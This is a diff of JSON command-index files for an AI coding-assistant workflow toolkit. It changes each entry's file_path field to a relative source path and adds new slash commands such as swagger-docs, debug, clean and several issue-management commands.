     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/docs-related-cli.md"
+    "source": "../../../commands/memory/docs-related-cli.md"
   },
   {
     "name": "docs",
@@ -63,7 +129,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/docs.md"
+    "source": "../../../commands/memory/docs.md"
   },
   {
     "name": "load-skill-memory",
@@ -74,7 +140,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/load-skill-memory.md"
+    "source": "../../../commands/memory/load-skill-memory.md"
   },
   {
     "name": "load",
@@ -85,7 +151,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "memory/load.md"
+    "source": "../../../commands/memory/load.md"
   },
   {
     "name": "skill-memory",
@@ -96,7 +162,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/skill-memory.md"
+    "source": "../../../commands/memory/skill-memory.md"
   },
   {
     "name": "style-skill-memory",
@@ -107,18 +173,29 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/style-skill-memory.md"
+    "source": "../../../commands/memory/style-skill-memory.md"
   },
   {
-    "name": "tech-research",
-    "command": "/memory:tech-research",
+    "name": "swagger-docs",
+    "command": "/memory:swagger-docs",
+    "description": "Generate complete Swagger/OpenAPI documentation following RESTful standards with global security, API details, error codes, and validation tests",
+    "arguments": "[path] [--tool <gemini|qwen|codex>] [--format <yaml|json>] [--version <v3.0|v3.1>] [--lang <zh|en>]",
+    "category": "memory",
+    "subcategory": null,
+    "usage_scenario": "documentation",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/memory/swagger-docs.md"
+  },
+  {
+    "name": "tech-research-rules",
+    "command": "/memory:tech-research-rules",
     "description": "3-phase orchestrator: extract tech stack → Exa research → generate path-conditional rules (auto-loaded by Claude Code)",
     "arguments": "[session-id | tech-stack-name] [--regenerate] [--tool <gemini|qwen>]",
     "category": "memory",
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "memory/tech-research.md"
+    "source": "../../../commands/memory/tech-research-rules.md"
   },
   {
     "name": "update-full",
@@ -129,7 +206,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "memory/update-full.md"
+    "source": "../../../commands/memory/update-full.md"
   },
   {
     "name": "update-related",
@@ -140,7 +217,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "memory/update-related.md"
+    "source": "../../../commands/memory/update-related.md"
   },
   {
     "name": "workflow-skill-memory",
@@ -151,7 +228,7 @@
     "subcategory": null,
     "usage_scenario": "documentation",
     "difficulty": "Intermediate",
-    "file_path": "memory/workflow-skill-memory.md"
+    "source": "../../../commands/memory/workflow-skill-memory.md"
   },
   {
     "name": "breakdown",
@@ -162,7 +239,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "task/breakdown.md"
+    "source": "../../../commands/task/breakdown.md"
   },
   {
     "name": "create",
@@ -173,7 +250,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "task/create.md"
+    "source": "../../../commands/task/create.md"
   },
   {
     "name": "execute",
@@ -184,7 +261,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "task/execute.md"
+    "source": "../../../commands/task/execute.md"
   },
   {
     "name": "replan",
@@ -195,7 +272,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "task/replan.md"
+    "source": "../../../commands/task/replan.md"
   },
   {
     "name": "version",
@@ -206,7 +283,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Beginner",
-    "file_path": "version.md"
+    "source": "../../../commands/version.md"
   },
   {
     "name": "action-plan-verify",
@@ -217,7 +294,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/action-plan-verify.md"
+    "source": "../../../commands/workflow/action-plan-verify.md"
   },
   {
     "name": "api-designer",
@@ -228,7 +305,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/api-designer.md"
+    "source": "../../../commands/workflow/brainstorm/api-designer.md"
   },
   {
     "name": "artifacts",
@@ -239,7 +316,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/artifacts.md"
+    "source": "../../../commands/workflow/brainstorm/artifacts.md"
   },
   {
     "name": "auto-parallel",
@@ -250,7 +327,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Advanced",
-    "file_path": "workflow/brainstorm/auto-parallel.md"
+    "source": "../../../commands/workflow/brainstorm/auto-parallel.md"
   },
   {
     "name": "data-architect",
@@ -261,7 +338,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/data-architect.md"
+    "source": "../../../commands/workflow/brainstorm/data-architect.md"
   },
   {
     "name": "product-manager",
@@ -272,7 +349,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/product-manager.md"
+    "source": "../../../commands/workflow/brainstorm/product-manager.md"
   },
   {
     "name": "product-owner",
@@ -283,7 +360,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/product-owner.md"
+    "source": "../../../commands/workflow/brainstorm/product-owner.md"
   },
   {
     "name": "scrum-master",
@@ -294,7 +371,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/scrum-master.md"
+    "source": "../../../commands/workflow/brainstorm/scrum-master.md"
   },
   {
     "name": "subject-matter-expert",
@@ -305,7 +382,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/subject-matter-expert.md"
+    "source": "../../../commands/workflow/brainstorm/subject-matter-expert.md"
   },
   {
     "name": "synthesis",
@@ -316,7 +393,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Advanced",
-    "file_path": "workflow/brainstorm/synthesis.md"
+    "source": "../../../commands/workflow/brainstorm/synthesis.md"
   },
   {
     "name": "system-architect",
@@ -327,7 +404,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/system-architect.md"
+    "source": "../../../commands/workflow/brainstorm/system-architect.md"
   },
   {
     "name": "ui-designer",
@@ -338,7 +415,7 @@
     "subcategory": "brainstorm",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/ui-designer.md"
+    "source": "../../../commands/workflow/brainstorm/ui-designer.md"
   },
   {
     "name": "ux-expert",
@@ -349,7 +426,29 @@
     "subcategory": "brainstorm",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/brainstorm/ux-expert.md"
+    "source": "../../../commands/workflow/brainstorm/ux-expert.md"
+  },
+  {
+    "name": "clean",
+    "command": "/workflow:clean",
+    "description": "Intelligent code cleanup with mainline detection, stale artifact discovery, and safe execution",
+    "arguments": "[--dry-run] [\\\"focus area\\\"]",
+    "category": "workflow",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/workflow/clean.md"
+  },
+  {
+    "name": "debug",
+    "command": "/workflow:debug",
+    "description": "Interactive hypothesis-driven debugging with NDJSON logging, iterative until resolved",
+    "arguments": "\\\"bug description or error message\\",
+    "category": "workflow",
+    "subcategory": null,
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/workflow/debug.md"
   },
   {
     "name": "execute",
@@ -360,7 +459,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/execute.md"
+    "source": "../../../commands/workflow/execute.md"
   },
   {
     "name": "init",
@@ -371,7 +470,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/init.md"
+    "source": "../../../commands/workflow/init.md"
   },
   {
     "name": "lite-execute",
@@ -382,7 +481,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/lite-execute.md"
+    "source": "../../../commands/workflow/lite-execute.md"
   },
   {
     "name": "lite-fix",
@@ -393,7 +492,7 @@
     "subcategory": null,
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/lite-fix.md"
+    "source": "../../../commands/workflow/lite-fix.md"
   },
   {
     "name": "lite-plan",
@@ -404,7 +503,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/lite-plan.md"
+    "source": "../../../commands/workflow/lite-plan.md"
   },
   {
     "name": "plan",
@@ -415,7 +514,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/plan.md"
+    "source": "../../../commands/workflow/plan.md"
   },
   {
     "name": "replan",
@@ -426,7 +525,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/replan.md"
+    "source": "../../../commands/workflow/replan.md"
   },
   {
     "name": "review-fix",
@@ -437,7 +536,7 @@
     "subcategory": null,
     "usage_scenario": "analysis",
     "difficulty": "Intermediate",
-    "file_path": "workflow/review-fix.md"
+    "source": "../../../commands/workflow/review-fix.md"
   },
   {
     "name": "review-module-cycle",
@@ -448,7 +547,7 @@
     "subcategory": null,
     "usage_scenario": "analysis",
     "difficulty": "Intermediate",
-    "file_path": "workflow/review-module-cycle.md"
+    "source": "../../../commands/workflow/review-module-cycle.md"
   },
   {
     "name": "review-session-cycle",
@@ -459,18 +558,18 @@
     "subcategory": null,
     "usage_scenario": "session-management",
     "difficulty": "Intermediate",
-    "file_path": "workflow/review-session-cycle.md"
+    "source": "../../../commands/workflow/review-session-cycle.md"
   },
   {
     "name": "review",
     "command": "/workflow:review",
     "description": "Post-implementation review with specialized types (security/architecture/action-items/quality) using analysis agents and Gemini",
-    "arguments": "[--type=security|architecture|action-items|quality] [optional: session-id]",
+    "arguments": "[--type=security|architecture|action-items|quality] [--archived] [optional: session-id]",
     "category": "workflow",
     "subcategory": null,
     "usage_scenario": "analysis",
     "difficulty": "Intermediate",
-    "file_path": "workflow/review.md"
+    "source": "../../../commands/workflow/review.md"
   },
   {
     "name": "complete",
@@ -481,7 +580,7 @@
     "subcategory": "session",
     "usage_scenario": "session-management",
     "difficulty": "Intermediate",
-    "file_path": "workflow/session/complete.md"
+    "source": "../../../commands/workflow/session/complete.md"
   },
   {
     "name": "list",
@@ -492,7 +591,7 @@
     "subcategory": "session",
     "usage_scenario": "general",
     "difficulty": "Beginner",
-    "file_path": "workflow/session/list.md"
+    "source": "../../../commands/workflow/session/list.md"
   },
   {
     "name": "resume",
@@ -503,7 +602,18 @@
     "subcategory": "session",
     "usage_scenario": "session-management",
     "difficulty": "Intermediate",
-    "file_path": "workflow/session/resume.md"
+    "source": "../../../commands/workflow/session/resume.md"
+  },
+  {
+    "name": "solidify",
+    "command": "/workflow:session:solidify",
+    "description": "Crystallize session learnings and user-defined constraints into permanent project guidelines",
+    "arguments": "[--type <convention|constraint|learning>] [--category <category>] \\\"rule or insight\\",
+    "category": "workflow",
+    "subcategory": "session",
+    "usage_scenario": "general",
+    "difficulty": "Intermediate",
+    "source": "../../../commands/workflow/session/solidify.md"
   },
   {
     "name": "start",
@@ -514,7 +624,7 @@
     "subcategory": "session",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/session/start.md"
+    "source": "../../../commands/workflow/session/start.md"
   },
   {
     "name": "tdd-plan",
@@ -525,7 +635,7 @@
     "subcategory": null,
     "usage_scenario": "planning",
     "difficulty": "Advanced",
-    "file_path": "workflow/tdd-plan.md"
+    "source": "../../../commands/workflow/tdd-plan.md"
   },
   {
     "name": "tdd-verify",
@@ -536,7 +646,7 @@
     "subcategory": null,
     "usage_scenario": "testing",
     "difficulty": "Advanced",
-    "file_path": "workflow/tdd-verify.md"
+    "source": "../../../commands/workflow/tdd-verify.md"
   },
   {
     "name": "test-cycle-execute",
@@ -547,7 +657,7 @@
     "subcategory": null,
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/test-cycle-execute.md"
+    "source": "../../../commands/workflow/test-cycle-execute.md"
   },
   {
     "name": "test-fix-gen",
@@ -558,7 +668,7 @@
     "subcategory": null,
     "usage_scenario": "testing",
     "difficulty": "Intermediate",
-    "file_path": "workflow/test-fix-gen.md"
+    "source": "../../../commands/workflow/test-fix-gen.md"
   },
   {
     "name": "test-gen",
@@ -569,7 +679,7 @@
     "subcategory": null,
     "usage_scenario": "testing",
     "difficulty": "Intermediate",
-    "file_path": "workflow/test-gen.md"
+    "source": "../../../commands/workflow/test-gen.md"
   },
   {
     "name": "conflict-resolution",
@@ -580,7 +690,7 @@
     "subcategory": "tools",
     "usage_scenario": "general",
     "difficulty": "Advanced",
-    "file_path": "workflow/tools/conflict-resolution.md"
+    "source": "../../../commands/workflow/tools/conflict-resolution.md"
   },
   {
     "name": "gather",
@@ -591,7 +701,7 @@
     "subcategory": "tools",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/tools/context-gather.md"
+    "source": "../../../commands/workflow/tools/context-gather.md"
   },
   {
     "name": "task-generate-agent",
@@ -602,7 +712,7 @@
     "subcategory": "tools",
     "usage_scenario": "implementation",
     "difficulty": "Advanced",
-    "file_path": "workflow/tools/task-generate-agent.md"
+    "source": "../../../commands/workflow/tools/task-generate-agent.md"
   },
   {
     "name": "task-generate-tdd",
@@ -613,7 +723,7 @@
     "subcategory": "tools",
     "usage_scenario": "implementation",
     "difficulty": "Advanced",
-    "file_path": "workflow/tools/task-generate-tdd.md"
+    "source": "../../../commands/workflow/tools/task-generate-tdd.md"
   },
   {
     "name": "tdd-coverage-analysis",
@@ -624,7 +734,7 @@
     "subcategory": "tools",
     "usage_scenario": "testing",
     "difficulty": "Advanced",
-    "file_path": "workflow/tools/tdd-coverage-analysis.md"
+    "source": "../../../commands/workflow/tools/tdd-coverage-analysis.md"
   },
   {
     "name": "test-concept-enhanced",
@@ -635,7 +745,7 @@
     "subcategory": "tools",
     "usage_scenario": "testing",
     "difficulty": "Intermediate",
-    "file_path": "workflow/tools/test-concept-enhanced.md"
+    "source": "../../../commands/workflow/tools/test-concept-enhanced.md"
   },
   {
     "name": "test-context-gather",
@@ -646,7 +756,7 @@
     "subcategory": "tools",
     "usage_scenario": "testing",
     "difficulty": "Intermediate",
-    "file_path": "workflow/tools/test-context-gather.md"
+    "source": "../../../commands/workflow/tools/test-context-gather.md"
   },
   {
     "name": "test-task-generate",
@@ -657,7 +767,7 @@
     "subcategory": "tools",
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/tools/test-task-generate.md"
+    "source": "../../../commands/workflow/tools/test-task-generate.md"
   },
   {
     "name": "animation-extract",
@@ -668,7 +778,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/animation-extract.md"
+    "source": "../../../commands/workflow/ui-design/animation-extract.md"
   },
   {
     "name": "workflow:ui-design:codify-style",
@@ -679,7 +789,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/codify-style.md"
+    "source": "../../../commands/workflow/ui-design/codify-style.md"
   },
   {
     "name": "design-sync",
@@ -690,7 +800,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/design-sync.md"
+    "source": "../../../commands/workflow/ui-design/design-sync.md"
   },
   {
     "name": "explore-auto",
@@ -701,7 +811,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/explore-auto.md"
+    "source": "../../../commands/workflow/ui-design/explore-auto.md"
   },
   {
     "name": "generate",
@@ -712,7 +822,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "implementation",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/generate.md"
+    "source": "../../../commands/workflow/ui-design/generate.md"
   },
   {
     "name": "imitate-auto",
@@ -723,7 +833,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/imitate-auto.md"
+    "source": "../../../commands/workflow/ui-design/imitate-auto.md"
   },
   {
     "name": "workflow:ui-design:import-from-code",
@@ -734,7 +844,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/import-from-code.md"
+    "source": "../../../commands/workflow/ui-design/import-from-code.md"
   },
   {
     "name": "layout-extract",
@@ -745,7 +855,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/layout-extract.md"
+    "source": "../../../commands/workflow/ui-design/layout-extract.md"
   },
   {
     "name": "workflow:ui-design:reference-page-generator",
@@ -756,7 +866,7 @@
     "subcategory": "ui-design",
     "usage_scenario": "planning",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/reference-page-generator.md"
+    "source": "../../../commands/workflow/ui-design/reference-page-generator.md"
   },
   {
     "name": "style-extract",
@@ -767,6 +877,6 @@
     "subcategory": "ui-design",
     "usage_scenario": "general",
     "difficulty": "Intermediate",
-    "file_path": "workflow/ui-design/style-extract.md"
+    "source": "../../../commands/workflow/ui-design/style-extract.md"
   }
 ]

.claude/skills/ccw-help/index/by-category.json

@@ -10,7 +10,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "cli/cli-init.md"
+        "source": "../../../commands/cli/cli-init.md"
       }
     ]
   },
@@ -25,7 +25,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "enhance-prompt.md"
+        "source": "../../../commands/enhance-prompt.md"
       },
       {
         "name": "version",
@@ -36,7 +36,66 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Beginner",
-        "file_path": "version.md"
+        "source": "../../../commands/version.md"
+      }
+    ]
+  },
+  "issue": {
+    "_root": [
+      {
+        "name": "issue:discover",
+        "command": "/issue:discover",
+        "description": "Discover potential issues from multiple perspectives (bug, UX, test, quality, security, performance, maintainability, best-practices) using CLI explore. Supports Exa external research for security and best-practices perspectives.",
+        "arguments": "<path-pattern> [--perspectives=bug,ux,...] [--external]",
+        "category": "issue",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/issue/discover.md"
+      },
+      {
+        "name": "execute",
+        "command": "/issue:execute",
+        "description": "Execute queue with codex using DAG-based parallel orchestration (solution-level)",
+        "arguments": "[--worktree] [--queue <queue-id>]",
+        "category": "issue",
+        "subcategory": null,
+        "usage_scenario": "implementation",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/issue/execute.md"
+      },
+      {
+        "name": "new",
+        "command": "/issue:new",
+        "description": "Create structured issue from GitHub URL or text description",
+        "arguments": "<github-url | text-description> [--priority 1-5]",
+        "category": "issue",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/issue/new.md"
+      },
+      {
+        "name": "plan",
+        "command": "/issue:plan",
+        "description": "Batch plan issue resolution using issue-plan-agent (explore + plan closed-loop)",
+        "arguments": "--all-pending <issue-id>[,<issue-id>,...] [--batch-size 3] ",
+        "category": "issue",
+        "subcategory": null,
+        "usage_scenario": "planning",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/issue/plan.md"
+      },
+      {
+        "name": "queue",
+        "command": "/issue:queue",
+        "description": "Form execution queue from bound solutions using issue-queue-agent (solution-level)",
+        "arguments": "[--rebuild] [--issue <id>]",
+        "category": "issue",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/issue/queue.md"
       }
     ]
   },
@@ -51,7 +110,18 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/code-map-memory.md"
+        "source": "../../../commands/memory/code-map-memory.md"
+      },
+      {
+        "name": "compact",
+        "command": "/memory:compact",
+        "description": "Compact current session memory into structured text for session recovery, extracting objective/plan/files/decisions/constraints/state, and save via MCP core_memory tool",
+        "arguments": "[optional: session description]",
+        "category": "memory",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/memory/compact.md"
       },
       {
         "name": "docs-full-cli",
@@ -62,7 +132,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/docs-full-cli.md"
+        "source": "../../../commands/memory/docs-full-cli.md"
       },
       {
         "name": "docs-related-cli",
@@ -73,7 +143,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/docs-related-cli.md"
+        "source": "../../../commands/memory/docs-related-cli.md"
       },
       {
         "name": "docs",
@@ -84,7 +154,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/docs.md"
+        "source": "../../../commands/memory/docs.md"
       },
       {
         "name": "load-skill-memory",
@@ -95,7 +165,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/load-skill-memory.md"
+        "source": "../../../commands/memory/load-skill-memory.md"
       },
       {
         "name": "load",
@@ -106,7 +176,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "memory/load.md"
+        "source": "../../../commands/memory/load.md"
       },
       {
         "name": "skill-memory",
@@ -117,7 +187,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/skill-memory.md"
+        "source": "../../../commands/memory/skill-memory.md"
       },
       {
         "name": "style-skill-memory",
@@ -128,18 +198,29 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/style-skill-memory.md"
+        "source": "../../../commands/memory/style-skill-memory.md"
       },
       {
-        "name": "tech-research",
-        "command": "/memory:tech-research",
+        "name": "swagger-docs",
+        "command": "/memory:swagger-docs",
+        "description": "Generate complete Swagger/OpenAPI documentation following RESTful standards with global security, API details, error codes, and validation tests",
+        "arguments": "[path] [--tool <gemini|qwen|codex>] [--format <yaml|json>] [--version <v3.0|v3.1>] [--lang <zh|en>]",
+        "category": "memory",
+        "subcategory": null,
+        "usage_scenario": "documentation",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/memory/swagger-docs.md"
+      },
+      {
+        "name": "tech-research-rules",
+        "command": "/memory:tech-research-rules",
         "description": "3-phase orchestrator: extract tech stack → Exa research → generate path-conditional rules (auto-loaded by Claude Code)",
         "arguments": "[session-id | tech-stack-name] [--regenerate] [--tool <gemini|qwen>]",
         "category": "memory",
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "memory/tech-research.md"
+        "source": "../../../commands/memory/tech-research-rules.md"
       },
       {
         "name": "update-full",
@@ -150,7 +231,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "memory/update-full.md"
+        "source": "../../../commands/memory/update-full.md"
       },
       {
         "name": "update-related",
@@ -161,7 +242,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "memory/update-related.md"
+        "source": "../../../commands/memory/update-related.md"
       },
       {
         "name": "workflow-skill-memory",
@@ -172,7 +253,7 @@
         "subcategory": null,
         "usage_scenario": "documentation",
         "difficulty": "Intermediate",
-        "file_path": "memory/workflow-skill-memory.md"
+        "source": "../../../commands/memory/workflow-skill-memory.md"
       }
     ]
   },
@@ -187,7 +268,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "task/breakdown.md"
+        "source": "../../../commands/task/breakdown.md"
       },
       {
         "name": "create",
@@ -198,7 +279,7 @@
         "subcategory": null,
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "task/create.md"
+        "source": "../../../commands/task/create.md"
       },
       {
         "name": "execute",
@@ -209,7 +290,7 @@
         "subcategory": null,
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "task/execute.md"
+        "source": "../../../commands/task/execute.md"
       },
       {
         "name": "replan",
@@ -220,7 +301,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "task/replan.md"
+        "source": "../../../commands/task/replan.md"
       }
     ]
   },
@@ -235,7 +316,29 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/action-plan-verify.md"
+        "source": "../../../commands/workflow/action-plan-verify.md"
+      },
+      {
+        "name": "clean",
+        "command": "/workflow:clean",
+        "description": "Intelligent code cleanup with mainline detection, stale artifact discovery, and safe execution",
+        "arguments": "[--dry-run] [\\\"focus area\\\"]",
+        "category": "workflow",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/workflow/clean.md"
+      },
+      {
+        "name": "debug",
+        "command": "/workflow:debug",
+        "description": "Interactive hypothesis-driven debugging with NDJSON logging, iterative until resolved",
+        "arguments": "\\\"bug description or error message\\",
+        "category": "workflow",
+        "subcategory": null,
+        "usage_scenario": "general",
+        "difficulty": "Intermediate",
+        "source": "../../../commands/workflow/debug.md"
       },
       {
         "name": "execute",
@@ -246,7 +349,7 @@
         "subcategory": null,
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "workflow/execute.md"
+        "source": "../../../commands/workflow/execute.md"
       },
       {
         "name": "init",
@@ -257,7 +360,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/init.md"
+        "source": "../../../commands/workflow/init.md"
       },
       {
         "name": "lite-execute",
@@ -268,7 +371,7 @@
         "subcategory": null,
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "workflow/lite-execute.md"
+        "source": "../../../commands/workflow/lite-execute.md"
       },
       {
         "name": "lite-fix",
@@ -279,7 +382,7 @@
         "subcategory": null,
         "usage_scenario": "general",
         "difficulty": "Intermediate",
-        "file_path": "workflow/lite-fix.md"
+        "source": "../../../commands/workflow/lite-fix.md"
       },
       {
         "name": "lite-plan",
@@ -290,7 +393,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/lite-plan.md"
+        "source": "../../../commands/workflow/lite-plan.md"
       },
       {
         "name": "plan",
@@ -301,7 +404,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/plan.md"
+        "source": "../../../commands/workflow/plan.md"
       },
       {
         "name": "replan",
@@ -312,7 +415,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Intermediate",
-        "file_path": "workflow/replan.md"
+        "source": "../../../commands/workflow/replan.md"
       },
       {
         "name": "review-fix",
@@ -323,7 +426,7 @@
         "subcategory": null,
         "usage_scenario": "analysis",
         "difficulty": "Intermediate",
-        "file_path": "workflow/review-fix.md"
+        "source": "../../../commands/workflow/review-fix.md"
       },
       {
         "name": "review-module-cycle",
@@ -334,7 +437,7 @@
         "subcategory": null,
         "usage_scenario": "analysis",
         "difficulty": "Intermediate",
-        "file_path": "workflow/review-module-cycle.md"
+        "source": "../../../commands/workflow/review-module-cycle.md"
       },
       {
         "name": "review-session-cycle",
@@ -345,18 +448,18 @@
         "subcategory": null,
         "usage_scenario": "session-management",
         "difficulty": "Intermediate",
-        "file_path": "workflow/review-session-cycle.md"
+        "source": "../../../commands/workflow/review-session-cycle.md"
       },
       {
         "name": "review",
         "command": "/workflow:review",
         "description": "Post-implementation review with specialized types (security/architecture/action-items/quality) using analysis agents and Gemini",
-        "arguments": "[--type=security|architecture|action-items|quality] [optional: session-id]",
+        "arguments": "[--type=security|architecture|action-items|quality] [--archived] [optional: session-id]",
         "category": "workflow",
         "subcategory": null,
         "usage_scenario": "analysis",
         "difficulty": "Intermediate",
-        "file_path": "workflow/review.md"
+        "source": "../../../commands/workflow/review.md"
       },
       {
         "name": "tdd-plan",
@@ -367,7 +470,7 @@
         "subcategory": null,
         "usage_scenario": "planning",
         "difficulty": "Advanced",
-        "file_path": "workflow/tdd-plan.md"
+        "source": "../../../commands/workflow/tdd-plan.md"
       },
       {
         "name": "tdd-verify",
@@ -378,7 +481,7 @@
         "subcategory": null,
         "usage_scenario": "testing",
         "difficulty": "Advanced",
-        "file_path": "workflow/tdd-verify.md"
+        "source": "../../../commands/workflow/tdd-verify.md"
       },
       {
         "name": "test-cycle-execute",
@@ -389,7 +492,7 @@
         "subcategory": null,
         "usage_scenario": "implementation",
         "difficulty": "Intermediate",
-        "file_path": "workflow/test-cycle-execute.md"
